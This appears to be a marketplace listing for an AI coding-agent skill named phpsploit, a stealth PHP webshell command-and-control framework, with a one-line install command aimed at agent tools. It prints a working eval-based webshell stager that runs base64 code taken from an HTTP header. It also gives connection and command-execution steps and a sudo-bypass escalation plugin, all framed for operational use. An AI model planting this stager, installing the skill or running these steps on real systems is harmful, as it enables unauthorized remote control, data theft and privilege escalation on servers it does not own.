offensive-tools/c2/phpsploit/SKILL.md
Stealth post-exploitation framework operating via HTTP headers inside a webshell. Use when you have a PHP webshell on target and need an interactive shell, file ops, and plugin-based post-exploitation over HTTP.
npx skillsauth add aeondave/malskill phpsploitInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Stealth PHP webshell framework — full interactive session tunneled in HTTP headers.
pip install phpsploit
phpsploit
# Set target and connect
set TARGET http://target.com/shell.php
set PASSKEY MySecret
exploit
| Command | Purpose |
|---------|---------|
| set TARGET <url> | Webshell URL |
| set PASSKEY <key> | Obfuscation passkey |
| exploit | Connect to shell |
| ls, cd, cat | File system ops |
| upload <local> <remote> | Upload file |
| download <remote> | Download file |
| run <cmd> | Execute OS command |
| load <plugin> | Load plugin |
Minimal PHP stager (upload to target):
<?php @eval(base64_decode($_SERVER['HTTP_X_PAYLOAD']));
Post-exploitation after file upload vuln:
set TARGET http://target.com/uploads/shell.php
exploit
run whoami
Escalate with plugin:
load post/exploit/sudo-bypass
run
| File | When to load |
|------|--------------|
| references/ | Webshell variants and plugin list |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.